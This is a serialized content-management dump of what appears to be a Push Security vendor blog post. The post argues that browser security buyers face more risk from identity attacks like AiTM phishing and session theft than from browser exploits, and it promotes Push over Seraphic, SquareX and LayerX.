2026)",{"data":35741,"content":35742,"nodeType":1003},{},[35743],{"data":35744,"content":35745,"nodeType":866},{},[35746,35750],{"data":35747,"marks":35748,"value":8525,"nodeType":865},{},[35749],{"type":961},{"data":35751,"marks":35752,"value":35753,"nodeType":865},{},[]," — they don't touch the endpoint and abuse legitimate access and functionality (CrowdStrike 2026 Global Threat Report)",{"data":35755,"content":35756,"nodeType":1003},{},[35757],{"data":35758,"content":35759,"nodeType":866},{},[35760,35765],{"data":35761,"marks":35762,"value":35764,"nodeType":865},{},[35763],{"type":961},"49% of organizations",{"data":35766,"marks":35767,"value":35768,"nodeType":865},{},[]," suffered a successful browser-based attack in the last 12 months (Omdia 2026)",{"data":35770,"content":35771,"nodeType":866},{},[35772],{"data":35773,"marks":35774,"value":35775,"nodeType":865},{},[],"These aren't edge cases. This is now the primary attack playbook.",{"data":35777,"content":35778,"nodeType":953},{},[],{"data":35780,"content":35781,"nodeType":1458},{},[35782],{"data":35783,"marks":35784,"value":35786,"nodeType":865},{},[35785],{"type":961},"The economics of attack choice",{"data":35788,"content":35789,"nodeType":866},{},[35790],{"data":35791,"marks":35792,"value":35793,"nodeType":865},{},[],"Attackers are rational actors. They pick the cheapest, most reliable path to their objective. The economics of browser exploitation versus identity theft tell the whole story:",{"data":35795,"content":35796,"nodeType":1049},{},[35797,35812,35827,35842],{"data":35798,"content":35799,"nodeType":1003},{},[35800],{"data":35801,"content":35802,"nodeType":866},{},[35803,35807],{"data":35804,"marks":35805,"value":35806,"nodeType":865},{},[],"Chrome sandbox RCE exploit (bug bounty value): ",{"data":35808,"marks":35809,"value":35811,"nodeType":865},{},[35810],{"type":961},"$250,000",{"data":35813,"content":35814,"nodeType":1003},{},[35815],{"data":35816,"content":35817,"nodeType":866},{},[35818,35822],{"data":35819,"marks":35820,"value":35821,"nodeType":865},{},[],"IAB-provided IdP admin account: ",{"data":35823,"marks":35824,"value":35826,"nodeType":865},{},[35825],{"type":961},"~$3,000",{"data":35828,"content":35829,"nodeType":1003},{},[35830],{"data":35831,"content":35832,"nodeType":866},{},[35833,35837],{"data":35834,"marks":35835,"value":35836,"nodeType":865},{},[],"1-year phishing kit rental (PhaaS): ",{"data":35838,"marks":35839,"value":35841,"nodeType":865},{},[35840],{"type":961},"~$1,000",{"data":35843,"content":35844,"nodeType":1003},{},[35845],{"data":35846,"content":35847,"nodeType":866},{},[35848,35852],{"data":35849,"marks":35850,"value":35851,"nodeType":865},{},[],"Bulk stolen credential list: ",{"data":35853,"marks":35854,"value":35856,"nodeType":865},{},[35855],{"type":961},"~$15",{"data":35858,"content":35859,"nodeType":866},{},[35860,35864,35869],{"data":35861,"marks":35862,"value":35863,"nodeType":865},{},[],"Browser zero-days accounted for just ",{"data":35865,"marks":35866,"value":35868,"nodeType":865},{},[35867],{"type":961},"9% of all zero-days reported to Google in 2025",{"data":35870,"marks":35871,"value":35872,"nodeType":865},{},[]," — described by Google's own researchers as a \"historic low.\" Chrome's sandbox architecture, site isolation, and hardware-backed security features are the result of years of sustained hardening investment. When a browser vulnerability is discovered, Google typically deploys a patch within days.",{"data":35874,"content":35878,"nodeType":925},{"target":35875},{"sys":35876},{"id":35877,"type":922,"linkType":923},"5XWKHTT5J06yWcgZIOL95t",[],{"data":35880,"content":35881,"nodeType":866},{},[35882],{"data":35883,"marks":35884,"value":35885,"nodeType":865},{},[],"The bottom line: browser exploits are extraordinarily expensive to develop, increasingly difficult to execute reliably against a hardened modern browser, and patched rapidly when discovered. In sharp contrast, identity attacks are cheap to run, highly scalable, and have a low technical barrier to adoption — that’s why they’re responsible for the overwhelming majority of enterprise breaches. Attackers have voted with their resources.",{"data":35887,"content":35888,"nodeType":953},{},[],{"data":35890,"content":35891,"nodeType":963},{},[35892],{"data":35893,"marks":35894,"value":35896,"nodeType":865},{},[35895],{"type":961},"What you're actually buying with each vendor",{"data":35898,"content":35899,"nodeType":866},{},[35900],{"data":35901,"marks":35902,"value":35903,"nodeType":865},{},[],"Understanding the core architectural choice each vendor has made helps decode what their solution can and cannot protect you from.",{"data":35905,"content":35906,"nodeType":1458},{},[35907],{"data":35908,"marks":35909,"value":35911,"nodeType":865},{},[35910],{"type":961},"Seraphic (CrowdStrike)",{"data":35913,"content":35914,"nodeType":866},{},[35915],{"data":35916,"marks":35917,"value":35918,"nodeType":865},{},[],"Seraphic's architecture is built to inject into the browser's JavaScript runtime at the OS layer, scrambling browser internals to prevent exploits from executing. This is a technically sophisticated approach to a technically interesting problem that is, by every threat intelligence measure, not the problem causing enterprise breaches at scale.",{"data":35920,"content":35921,"nodeType":866},{},[35922],{"data":35923,"marks":35924,"value":35925,"nodeType":865},{},[],"Beyond the threat model mismatch, there are structural concerns with the approach itself. Injecting an agent into the browser's JS runtime is a technique with well-documented stability consequences. This is the same approach antivirus vendors have used for years, often at the cost of system stability. Seraphic now runs alongside the CrowdStrike Falcon sensor on managed devices, combining two heavyweight agents on the same machine. For any organization with CrowdStrike already deployed, the question isn't theoretical: how has that combination been validated in production environments?",{"data":35927,"content":35928,"nodeType":866},{},[35929,35933,35940,35944,35953],{"data":35930,"marks":35931,"value":35932,"nodeType":865},{},[],"There's also the managed-device limitation. Seraphic requires a kernel-level agent, which means it loses meaningful capability on unmanaged devices, BYOD machines, and contractor endpoints. This is not a niche concern: according to ",{"data":35934,"content":35935,"nodeType":882},{"uri":4378},[35936],{"data":35937,"marks":35938,"value":35939,"nodeType":865},{},[],"Omdia's 2026 browser security survey",{"data":35941,"marks":35942,"value":35943,"nodeType":865},{},[],", 32% of users access corporate applications from unmanaged devices at least occasionally. Agent-based solutions are blind to nearly a third of your actual attack surface by design. The Okta breach began on a support engineer's personal device, where ",{"data":35945,"content":35947,"nodeType":882},{"uri":35946},"https://pushsecurity.com/blog/browser-sync-attacks-where-personal-account-hacks-lead-to-corporate-breaches/",[35948],{"data":35949,"marks":35950,"value":35952,"nodeType":865},{},[35951],{"type":997},"corporate credentials had synced",{"data":35954,"marks":35955,"value":35956,"nodeType":865},{},[]," via Chrome's built-in profile sync. No agent, no visibility.",{"data":35958,"content":35959,"nodeType":866},{},[35960],{"data":35961,"marks":35962,"value":35963,"nodeType":865},{},[],"Teams evaluating Seraphic today are also buying into an integration roadmap, not a shipped capability. The acquisition by CrowdStrike closed in early 2026. The work of wiring browser telemetry into Falcon Fusion and correlating it with endpoint signals is currently a promise, not a production feature.",{"data":35965,"content":35966,"nodeType":1458},{},[35967],{"data":35968,"marks":35969,"value":35971,"nodeType":865},{},[35970],{"type":961},"SquareX (Zscaler)",{"data":35973,"content":35974,"nodeType":866},{},[35975],{"data":35976,"marks":35977,"value":35978,"nodeType":865},{},[],"SquareX's core capability is sandboxing suspicious file downloads inside disposable browser containers before they reach the endpoint. This is a legitimate approach to a real but declining problem. 82% of attack detections are now malware-free (CrowdStrike 2026 Global Threat Report) — attacks don't arrive as files to be sandboxed, they arrive as authenticated sessions. And the delivery channel shift makes the picture even starker: across Push's customer base, 1 in 3 phishing payloads are now delivered outside of email entirely — via social media, ads, and messaging platforms — and 4 in 5 ClickFix payloads arrive through search engines, not email. The threat that SquareX was architecturally designed to address is a shrinking share of the actual attack surface, and it's shrinking fast.",{"data":35980,"content":35981,"nodeType":866},{},[35982],{"data":35983,"marks":35984,"value":35985,"nodeType":865},{},[],"Zscaler already has sandboxing built into ZIA. For an existing Zscaler customer evaluating SquareX, the honest question is: what does this add beyond some extension analysis capability and what you already have? The AiTM phishing campaign that stole your user's credentials and accessed your cloud applications generates no malicious file, triggers no sandbox, and produces no network signal for Zscaler's traffic inspection to catch — because it happened entirely inside a browser session using legitimate authentication flows.",{"data":35987,"content":35988,"nodeType":866},{},[35989],{"data":35990,"marks":35991,"value":35992,"nodeType":865},{},[],"The acquisition also raises product focus questions. Being absorbed into a network-centric platform means SquareX is now optimized for Zscaler's priorities, not for standalone browser detection and response. Teams that care about investigation, threat hunting, and incident response should ask specifically what SquareX adds in those workflows under Zscaler ownership.",{"data":35994,"content":35995,"nodeType":1458},{},[35996],{"data":35997,"marks":35998,"value":36000,"nodeType":865},{},[35999],{"type":961},"LayerX",{"data":36002,"content":36003,"nodeType":866},{},[36004],{"data":36005,"marks":36006,"value":36007,"nodeType":865},{},[],"LayerX is primarily a policy enforcement and risk scoring platform focused on internal governance — controlling which applications employees access, what data moves through the browser, and whether behavior complies with internal rules.",{"data":36009,"content":36010,"nodeType":866},{},[36011],{"data":36012,"marks":36013,"value":36014,"nodeType":865},{},[],"Push Security covers that ground too. Push provides full visibility over AI tool usage, shadow SaaS, unmanaged identities, and data loss vectors — including sensitive data submitted through AI prompts, file uploads to personal cloud destinations, and OAuth grants to third-party applications. The same browser telemetry that detects external attacks also surfaces insider risks and powers DLP controls and compliance audit evidence, all from a single extension.",{"data":36016,"content":36017,"nodeType":866},{},[36018],{"data":36019,"marks":36020,"value":36021,"nodeType":865},{},[],"The critical difference is that Push goes significantly further. Where LayerX scores risk and enforces policy, Push detects active external attack techniques in real time: AiTM phishing kits as they execute, session tokens being stolen, ClickFix lures through behavioral analysis of page structure. These are the attacks causing the most damaging breaches today, and they don't surface on a risk score until after the damage is done. Push addresses both the governance problem and the external threat problem from the same platform. LayerX addresses only the first.",{"data":36023,"content":36024,"nodeType":953},{},[],{"data":36026,"content":36027,"nodeType":963},{},[36028],{"data":36029,"marks":36030,"value":36032,"nodeType":865},{},[36031],{"type":961},"Securing the organization via the browser: Push Security",{"data":36034,"content":36035,"nodeType":866},{},[36036,36041],{"data":36037,"marks":36038,"value":36040,"nodeType":865},{},[36039],{"type":961},"Push Security is built on a different architectural premise:",{"data":36042,"marks":36043,"value":36044,"nodeType":865},{},[]," the browser is not primarily a piece of software to harden against exploitation. It is the primary workplace, the primary SaaS access point, and the arena where the majority of modern identity attacks play out. The goal is to secure the organization via the browser — not just to secure the browser itself.",{"data":36046,"content":36047,"nodeType":866},{},[36048],{"data":36049,"marks":36050,"value":36051,"nodeType":865},{},[],"This means Push's detection surface is built around the attacks that are actually causing breaches: adversary-in-the-middle phishing, ClickFix and its many variants, credential stuffing against shadow identities, session token theft and replay, OAuth consent abuse, and the full spectrum of identity-based initial access techniques that dominate the modern threat landscape.",{"data":36053,"content":36054,"nodeType":866},{},[36055],{"data":36056,"marks":36057,"value":36058,"nodeType":865},{},[],"The deployment model reflects the threat model. Push deploys as a lightweight browser extension — no kernel-level agent, no device dependency, no migration to a new browser. It works on managed and unmanaged devices, across every traditional, enterprise and AI browser where employees are doing work and attackers are targeting them. The operational overhead is minimal by design: Push has been deployed to 100,000 users in under one hour during normal business hours.",{"data":36060,"content":36061,"nodeType":1458},{},[36062],{"data":36063,"marks":36064,"value":36066,"nodeType":865},{},[36065],{"type":961},"Detection philosophy: targeting what attackers can't change",{"data":36068,"content":36069,"nodeType":866},{},[36070],{"data":36071,"marks":36072,"value":36073,"nodeType":865},{},[],"Push's detection approach targets attacker TTPs rather than indicators of compromise that attackers can rotate in minutes. 95% of attacks detected by Push used some form of bot protection service — meaning the specific domain and IP were deliberately obscured. If your primary detection relies on blocklists, recent reports tell us that 89% of phishing domains will evade you: because they're active for less than two days, they can be spun up, down, and replaced faster than blocklists can keep up.",{"data":36075,"content":36076,"nodeType":866},{},[36077],{"data":36078,"marks":36079,"value":36080,"nodeType":865},{},[],"Behavioral detection of the attack technique — the AiTM relay structure, the credential entry on a cloned login page, the anomalous session context — remains valid regardless of what domain the attack is hosted on or which PhaaS kit was used to build it.",{"data":36082,"content":36083,"nodeType":1458},{},[36084],{"data":36085,"marks":36086,"value":36088,"nodeType":865},{},[36087],{"type":961},"Measuring the identity attack surface (it's bigger than you realize)",{"data":36090,"content":36091,"nodeType":866},{},[36092],{"data":36093,"marks":36094,"value":36095,"nodeType":865},{},[],"Because Push has visibility into actual login behavior across thousands of organizations, it can quantify the attack surface that identity-based attacks exploit. Of the last million logins observed by Push:",{"data":36097,"content":36098,"nodeType":1049},{},[36099,36114,36129,36144],{"data":36100,"content":36101,"nodeType":1003},{},[36102],{"data":36103,"content":36104,"nodeType":866},{},[36105,36110],{"data":36106,"marks":36107,"value":36109,"nodeType":865},{},[36108],{"type":961},"15 corporate identities were identified per employee",{"data":36111,"marks":36112,"value":36113,"nodeType":865},{},[]," used to access cloud apps",{"data":36115,"content":36116,"nodeType":1003},{},[36117],{"data":36118,"content":36119,"nodeType":866},{},[36120,36125],{"data":36121,"marks":36122,"value":36124,"nodeType":865},{},[36123],{"type":961},"1 in 4",{"data":36126,"marks":36127,"value":36128,"nodeType":865},{},[]," were password logins, not SSO",{"data":36130,"content":36131,"nodeType":1003},{},[36132],{"data":36133,"content":36134,"nodeType":866},{},[36135,36140],{"data":36136,"marks":36137,"value":36139,"nodeType":865},{},[36138],{"type":961},"2 in 5",{"data":36141,"marks":36142,"value":36143,"nodeType":865},{},[]," were not protected by MFA",{"data":36145,"content":36146,"nodeType":1003},{},[36147],{"data":36148,"content":36149,"nodeType":866},{},[36150,36155],{"data":36151,"marks":36152,"value":36154,"nodeType":865},{},[36153],{"type":961},"1 in 5",{"data":36156,"marks":36157,"value":36158,"nodeType":865},{},[]," used a weak, breached, or reused password",{"data":36160,"content":36161,"nodeType":866},{},[36162,36166,36171],{"data":36163,"marks":36164,"value":36165,"nodeType":865},{},[],"And it's not just login hygiene. Across Push's customer base, ",{"data":36167,"marks":36168,"value":36170,"nodeType":865},{},[36169],{"type":961},"46%+ of browser extensions in corporate environments have the permission combinations required for direct account takeover via session theft if they are malicious or compromised by an attacker",{"data":36172,"marks":36173,"value":36174,"nodeType":865},{},[],". Most organizations have no inventory of what's running in their employees' browsers, let alone visibility into what those extensions can access.",{"data":36176,"content":36177,"nodeType":866},{},[36178,36182,36189],{"data":36179,"marks":36180,"value":36181,"nodeType":865},{},[],"These aren't theoretical vulnerabilities. They're the specific weaknesses that browser-native identity attacks are designed to exploit. ",{"data":36183,"content":36184,"nodeType":882},{"uri":1335},[36185],{"data":36186,"marks":36187,"value":36188,"nodeType":865},{},[],"This visibility turns browser security from a reactive posture into a proactive one",{"data":36190,"marks":36191,"value":36192,"nodeType":865},{},[]," — you can see and remediate the identity weaknesses before an attacker exploits them, not just detect the attack while it's in progress.",{"data":36194,"content":36195,"nodeType":1458},{},[36196],{"data":36197,"marks":36198,"value":36200,"nodeType":865},{},[36199],{"type":961},"The ROI case",{"data":36202,"content":36203,"nodeType":866},{},[36204],{"data":36205,"marks":36206,"value":36207,"nodeType":865},{},[],"The ROI question for any security investment is: what quantum of real risk does this tool address, at what cost in money and operational friction?",{"data":36209,"content":36210,"nodeType":866},{},[36211],{"data":36212,"marks":36213,"value":36215,"nodeType":865},{},[36214],{"type":961},"That calculation looks very different depending on your threat model.",{"data":36217,"content":36218,"nodeType":866},{},[36219],{"data":36220,"marks":36221,"value":36222,"nodeType":865},{},[],"A solution focused on browser engine exploits and sandbox escapes is defending against an attack category that represents a tiny fraction of actual enterprise breaches, requires extraordinary attacker resources to execute, and is increasingly mitigated by browser vendors themselves through hardening and rapid patching. Chrome's automatic update cycle means that even when a browser vulnerability is discovered and disclosed, it is typically in front of users as a patch within days. The defenders here are Google, Mozilla, and Microsoft — with multi-billion dollar security teams and full access to the browser internals.",{"data":36224,"content":36225,"nodeType":866},{},[36226],{"data":36227,"marks":36228,"value":36229,"nodeType":865},{},[],"A solution focused on identity attacks via the browser — phishing, credential theft, session hijacking, OAuth abuse, malicious browser extensions — is defending against the primary cause of enterprise breaches, one that is accelerating (cloud-conscious intrusions up 37% in 2025, browser-based attacks increasing at 68% of organizations over the past two years per Omdia) and increasingly automated through PhaaS infrastructure that gives low-skill attackers enterprise-grade capability for $1,000 a year.",{"data":36231,"content":36232,"nodeType":866},{},[36233],{"data":36234,"marks":36235,"value":36236,"nodeType":865},{},[],"There's also a forward-looking dimension. The threat landscape isn't moving toward more browser exploitation. It's moving further into identity abuse. AI-powered phishing lowers the social engineering barrier. Agentic browsers will automate credential stuffing and account takeover at a scale that wasn't previously possible. And attackers are already adapting to authentication improvements: device code phishing has increased 37x since the start of 2026, a technique specifically designed to circumvent passkeys by bypassing the authentication flow entirely — the attacker never encounters a login page. The investment in identity-centric browser detection compounds over time as the attack surface evolves in the same direction.",{"data":36238,"content":36242,"nodeType":925},{"target":36239},{"sys":36240},{"id":36241,"type":922,"linkType":923},"cQ6WPV2NMYvDMZXifqzK1",[],{"data":36244,"content":36245,"nodeType":1458},{},[36246],{"data":36247,"marks":36248,"value":36250,"nodeType":865},{},[36249],{"type":961},"The verdict",{"data":36252,"content":36253,"nodeType":866},{},[36254],{"data":36255,"marks":36256,"value":36257,"nodeType":865},{},[],"Browser security is a real and growing priority — according to Omdia Research, it is now a top-five priority for 88% of security leaders and the top priority for 26% of them. 85% expect their browser security spending to increase over the next 12–24 months. The question isn't whether to invest. It's what to invest in.",{"data":36259,"content":36260,"nodeType":866},{},[36261],{"data":36262,"marks":36263,"value":36264,"nodeType":865},{},[],"The browser is where your users work, where attackers target them, and where the identity attacks causing the majority of enterprise breaches play out. But not all browser security investments address the same problem.",{"data":36266,"content":36269,"nodeType":925},{"target":36267},{"sys":36268},{"id":26830,"type":922,"linkType":923},[],{"data":36271,"content":36272,"nodeType":866},{},[36273],{"data":36274,"marks":36275,"value":36276,"nodeType":865},{},[],"Solutions like Seraphic are built to defend against a browser being exploited by an attacker trying to break out of the sandbox — an attack that represents a historic low as a share of enterprise incidents, and one that Google's own hardening and rapid patching increasingly mitigates automatically. SquareX is built around malware sandboxing — a legitimate but declining share of the initial access landscape, and a capability Zscaler's existing customers already partially have. LayerX focuses on internal governance rather than external threats.",{"data":36278,"content":36279,"nodeType":866},{},[36280],{"data":36281,"marks":36282,"value":36283,"nodeType":865},{},[],"Push Security is built to defend against the attacks that are behind the major breaches hitting the headlines: identity theft, credential abuse, session hijacking, and the full identity attack kill chain that plays out inside the browser every time an attacker logs in as your user. Every major threat intelligence report points to these as the primary breach vectors. The economics of attack choice guarantee they'll remain so.",{"data":36285,"content":36286,"nodeType":866},{},[36287],{"data":36288,"marks":36289,"value":36290,"nodeType":865},{},[],"The security team that deploys Push gets the greatest coverage of the highest-impact threats, on managed and unmanaged devices, with the lightest operational footprint. That is the browser security investment that moves the needle on real organizational risk — not the browser security investment that defends the software nobody's actually attacking.",{"data":36292,"content":36296,"nodeType":925},{"target":36293},{"sys":36294},{"id":36295,"type":922,"linkType":923},"3a2sEWgWKZulGLCFfODwk0",[],{"data":36298,"content":36299,"nodeType":866},{},[36300],{"data":36301,"marks":36302,"value":21,"nodeType":865},{},[],"How to avoid the browser security buyer's trap","Securing the browser vs. securing the organization via the browser — what's the difference?","2026-05-13T00:00:00.000Z","how-to-avoid-the-browser-security-buyers-trap",{"items":36308},[36309,36311],{"sys":36310,"name":297},{"id":2828},{"sys":36312,"name":2825},{"id":2824},{"items":36314},[36315],{"fullName":5029,"firstName":5030,"jobTitle":3776,"profilePicture":36316},{"url":5032},{"__typename":1788,"sys":36318,"content":36319,"title":5016,"synopsis":5017,"hashTags":59,"publishedDate":5018,"slug":5019,"tagsCollection":37388,"authorsCollection":37394},{"id":3781},{"json":36320},{"data":36321,"content":36322,"nodeType":1739},{},[36323,36336,36341,36347,36353,36358,36361,36368,36375,36390,36428,36433,36446,36449,36456,36463,36485,36517,36523,36526,36533,36540,36546,36551,36557,36560,36567,36574,36608,36638,36644,36647,36654,36661,36681,36687,36726,36732,36735,36742,36749,36785,36791,36796,36799,36806,36813,36839,36845,36850,36856,36859,36866,36873,36896,36902,36908,36914,36917,36924,36931,36937,36942,36948,36969,36992,36995,37002,37009,37015,37021,37024,37031,37086,37089,37096,37102,37370,37373],{"data":36324,"content":36325,"nodeType":866},{},[36326,36329,36333],{"data":36327,"marks":36328,"value":3792,"nodeType":865},{},[],{"data":36330,"marks":36331,"value":3797,"nodeType":865},{},[36332],{"type":961},{"data":36334,"marks":36335,"value":3801,"nodeType":865},{},[],{"data":36337,"content":36340,"nodeType":925},{"target":36338},{"sys":36339},{"id":3806,"type":922,"linkType":923},[],{"data":36342,"content":36343,"nodeType":866},{},[36344],{"data":36345,"marks":36346,"value":3814,"nodeType":865},{},[],{"data":36348,"content":36349,"nodeType":866},{},[36350],{"data":36351,"marks":36352,"value":3821,"nodeType":865},{},[],{"data":36354,"content":36357,"nodeType":925},{"target":36355},{"sys":36356},{"id":3826,"type":922,"linkType":923},[],{"data":36359,"content":36360,"nodeType":953},{},[],{"data":36362,"content":36363,"nodeType":963},{},[36364],{"data":36365,"marks":36366,"value":3838,"nodeType":865},{},[36367],{"type":961},{"data":36369,"content":36370,"nodeType":866},{},[36371],{"data":36372,"marks":36373,"value":3846,"nodeType":865},{},[36374],{"type":961},{"data":36376,"content":36377,"nodeType":866},{},[36378,36381,36387],{"data":36379,"marks":36380,"value":3853,"nodeType":865},{},[],{"data":36382,"content":36383,"nodeType":882},{"uri":3856},[36384],{"data":36385,"marks":36386,"value":3861,"nodeType":865},{},[],{"data":36388,"marks":36389,"value":3865,"nodeType":865},{},[],{"data":36391,"content":36392,"nodeType":866},{},[36393,36396,36402,36405,36409,36412,36416,36419,36425],{"data":36394,"marks":36395,"value":3872,"nodeType":865},{},[],{"data":36397,"content":36398,"nodeType":882},{"uri":3875},[36399],{"data":36400,"marks":36401,"value":3880,"nodeType":865},{},[],{"data":36403,"marks":36404,"value":2186,"nodeType":865},{},[],{"data":36406,"marks":36407,"value":3888,"nodeType":865},{},[36408],{"type":961},{"data":36410,"marks":36411,"value":3892,"nodeType":865},{},[],{"data":36413,"marks":36414,"value":3897,"nodeType":865},{},[36415],{"type":961},{"data":36417,"marks":36418,"value":3901,"nodeType":865},{},[],{"data":36420,"content":36421,"nodeType":882},{"uri":3904},[36422],{"data":36423,"marks":36424,"value":3909,"nodeType":865},{},[],{"data":36426,"marks":36427,"value":3913,"nodeType":865},{},[],{"data":36429,"content":36432,"nodeType":925},{"target":36430},{"sys":36431},{"id":3918,"type":922,"linkType":923},[],{"data":36434,"content":36435,"nodeType":866},{},[36436,36439,36443],{"data":36437,"marks":36438,"value":3926,"nodeType":865},{},[],{"data":36440,"marks":36441,"value":3931,"nodeType":865},{},[36442],{"type":961},{"data":36444,"marks":36445,"value":1048,"nodeType":865},{},[],{"data":36447,"content":36448,"nodeType":953},{},[],{"data":36450,"content":36451,"nodeType":963},{},[36452],{"data":36453,"marks":36454,"value":3945,"nodeType":865},{},[36455],{"type":961},{"data":36457,"content":36458,"nodeType":866},{},[36459],{"data":36460,"marks":36461,"value":3846,"nodeType":865},{},[36462],{"type":961},{"data":36464,"content":36465,"nodeType":866},{},[36466,36469,36475,36478,36482],{"data":36467,"marks":36468,"value":3959,"nodeType":865},{},[],{"data":36470,"content":36471,"nodeType":882},{"uri":3962},[36472],{"data":36473,"marks":36474,"value":3967,"nodeType":865},{},[],{"data":36476,"marks":36477,"value":3971,"nodeType":865},{},[],{"data":36479,"marks":36480,"value":3976,"nodeType":865},{},[36481],{"type":961},{"data":36483,"marks":36484,"value":3980,"nodeType":865},{},[],{"data":36486,"content":36487,"nodeType":866},{},[36488,36491,36497,36500,36504,36507,36514],{"data":36489,"marks":36490,"value":3987,"nodeType":865},{},[],{"data":36492,"content":36493,"nodeType":882},{"uri":3990},[36494],{"data":36495,"marks":36496,"value":3995,"nodeType":865},{},[],{"data":36498,"marks":36499,"value":3999,"nodeType":865},{},[],{"data":36501,"marks":36502,"value":4004,"nodeType":865},{},[36503],{"type":961},{"data":36505,"marks":36506,"value":4008,"nodeType":865},{},[],{"data":36508,"content":36509,"nodeType":882},{"uri":4011},[36510],{"data":36511,"marks":36512,"value":4017,"nodeType":865},{},[36513],{"type":961},{"data":36515,"marks":36516,"value":4021,"nodeType":865},{},[],{"data":36518,"content":36519,"nodeType":866},{},[36520],{"data":36521,"marks":36522,"value":4028,"nodeType":865},{},[],{"data":36524,"content":36525,"nodeType":953},{},[],{"data":36527,"content":36528,"nodeType":963},{},[36529],{"data":36530,"marks":36531,"value":4039,"nodeType":865},{},[36532],{"type":961},{"data":36534,"content":36535,"nodeType":866},{},[36536],{"data":36537,"marks":36538,"value":4047,"nodeType":865},{},[36539],{"type":961},{"data":36541,"content":36542,"nodeType":866},{},[36543],{"data":36544,"marks":36545,"value":4054,"nodeType":865},{},[],{"data":36547,"content":36550,"nodeType":925},{"target":36548},{"sys":36549},{"id":4059,"type":922,"linkType":923},[],{"data":36552,"content":36553,"nodeType":866},{},[36554],{"data":36555,"marks":36556,"value":4067,"nodeType":865},{},[],{"data":36558,"content":36559,"nodeType":953},{},[],{"data":36561,"content":36562,"nodeType":963},{},[36563],{"data":36564,"marks":36565,"value":4078,"nodeType":865},{},[36566],{"type":961},{"data":36568,"content":36569,"nodeType":866},{},[36570],{"data":36571,"marks":36572,"value":4047,"nodeType":865},{},[36573],{"type":961},{"data":36575,"content":36576,"nodeType":866},{},[36577,36580,36587,36590,36596,36599,36605],{"data":36578,"marks":36579,"value":4092,"nodeType":865},{},[],{"data":36581,"content":36582,"nodeType":882},{"uri":4095},[36583],{"data":36584,"marks":36585,"value":4101,"nodeType":865},{},[36586],{"type":997},{"data":36588,"marks":36589,"value":2186,"nodeType":865},{},[],{"data":36591,"content":36592,"nodeType":882},{"uri":4107},[36593],{"data":36594,"marks":36595,"value":4112,"nodeType":865},{},[],{"data":36597,"marks":36598,"value":2186,"nodeType":865},{},[],{"data":36600,"content":36601,"nodeType":882},{"uri":4118},[36602],{"data":36603,"marks":36604,"value":4123,"nodeType":865},{},[],{"data":36606,"marks":36607,"value":4127,"nodeType":865},{},[],{"data":36609,"content":36610,"nodeType":866},{},[36611,36614,36621,36624,36628,36631,36635],{"data":36612,"marks":36613,"value":21,"nodeType":865},{},[],{"data":36615,"content":36616,"nodeType":882},{"uri":4136},[36617],{"data":36618,"marks":36619,"value":4142,"nodeType":865},{},[36620],{"type":997},{"data":36622,"marks":36623,"value":4146,"nodeType":865},{},[],{"data":36625,"marks":36626,"value":4151,"nodeType":865},{},[36627],{"type":961},{"data":36629,"marks":36630,"value":4155,"nodeType":865},{},[],{"data":36632,"marks":36633,"value":4160,"nodeType":865},{},[36634],{"type":944},{"data":36636,"marks":36637,"value":4164,"nodeType":865},{},[],{"data":36639,"content":36640,"nodeType":866},{},[36641],{"data":36642,"marks":36643,"value":4171,"nodeType":865},{},[],{"data":36645,"content":36646,"nodeType":953},{},[],{"data":36648,"content":36649,"nodeType":963},{},[36650],{"data":36651,"marks":36652,"value":4182,"nodeType":865},{},[36653],{"type":961},{"data":36655,"content":36656,"nodeType":866},{},[36657],{"data":36658,"marks":36659,"value":4047,"nodeType":865},{},[36660],{"type":961},{"data":36662,"content":36663,"nodeType":866},{},[36664,36667,36671,36674,36678],{"data":36665,"marks":36666,"value":4196,"nodeType":865},{},[],{"data":36668,"marks":36669,"value":4201,"nodeType":865},{},[36670],{"type":944},{"data":36672,"marks":36673,"value":4205,"nodeType":865},{},[],{"data":36675,"marks":36676,"value":4210,"nodeType":865},{},[36677],{"type":944},{"data":36679,"marks":36680,"value":4214,"nodeType":865},{},[],{"data":36682,"content":36683,"nodeType":866},{},[36684],{"data":36685,"marks":36686,"value":4221,"nodeType":865},{},[],{"data":36688,"content":36689,"nodeType":1049},{},[36690,36708],{"data":36691,"content":36692,"nodeType":1003},{},[36693],{"data":36694,"content":36695,"nodeType":866},{},[36696,36699,36705],{"data":36697,"marks":36698,"value":873,"nodeType":865},{},[],{"data":36700,"content":36701,"nodeType":882},{"uri":4236},[36702],{"data":36703,"marks":36704,"value":4241,"nodeType":865},{},[],{"data":36706,"marks":36707,"value":4245,"nodeType":865},{},[],{"data":36709,"content":36710,"nodeType":1003},{},[36711],{"data":36712,"content":36713,"nodeType":866},{},[36714,36717,36723],{"data":36715,"marks":36716,"value":873,"nodeType":865},{},[],{"data":36718,"content":36719,"nodeType":882},{"uri":3288},[36720],{"data":36721,"marks":36722,"value":4261,"nodeType":865},{},[],{"data":36724,"marks":36725,"value":4265,"nodeType":865},{},[],{"data":36727,"content":36728,"nodeType":866},{},[36729],{"data":36730,"marks":36731,"value":4272,"nodeType":865},{},[],{"data":36733,"content":36734,"nodeType":953},{},[],{"data":36736,"content":36737,"nodeType":963},{},[36738],{"data":36739,"marks":36740,"value":4283,"nodeType":865},{},[36741],{"type":961},{"data":36743,"content":36744,"nodeType":866},{},[36745],{"data":36746,"marks":36747,"value":4291,"nodeType":865},{},[36748],{"type":961},{"data":36750,"content":36751,"nodeType":866},{},[36752,36755,36759,36762,36768,36771,36775,36778,36782],{"data":36753,"marks":36754,"value":4298,"nodeType":865},{},[],{"data":36756,"marks":36757,"value":4303,"nodeType":865},{},[36758],{"type":961},{"data":36760,"marks":36761,"value":4307,"nodeType":865},{},[],{"data":36763,"content":36764,"nodeType":882},{"uri":1362},[36765],{"data":36766,"marks":36767,"value":4314,"nodeType":865},{},[],{"data":36769,"marks":36770,"value":4318,"nodeType":865},{},[],{"data":36772,"marks":36773,"value":4323,"nodeType":865},{},[36774],{"type":961},{"data":36776,"marks":36777,"value":4327,"nodeType":865},{},[],{"data":36779,"marks":36780,"value":4332,"nodeType":865},{},[36781],{"type":961},{"data":36783,"marks":36784,"value":4336,"nodeType":865},{},[],{"data":36786,"content":36787,"nodeType":866},{},[36788],{"data":36789,"marks":36790,"value":4343,"nodeType":865},{},[],{"data":36792,"content":36795,"nodeType":925},{"target":36793},{"sys":36794},{"id":4348,"type":922,"linkType":923},[],{"data":36797,"content":36798,"nodeType":953},{},[],{"data":36800,"content":36801,"nodeType":963},{},[36802],{"data":36803,"marks":36804,"value":4360,"nodeType":865},{},[36805],{"type":961},{"data":36807,"content":36808,"nodeType":866},{},[36809],{"data":36810,"marks":36811,"value":4368,"nodeType":865},{},[36812],{"type":961},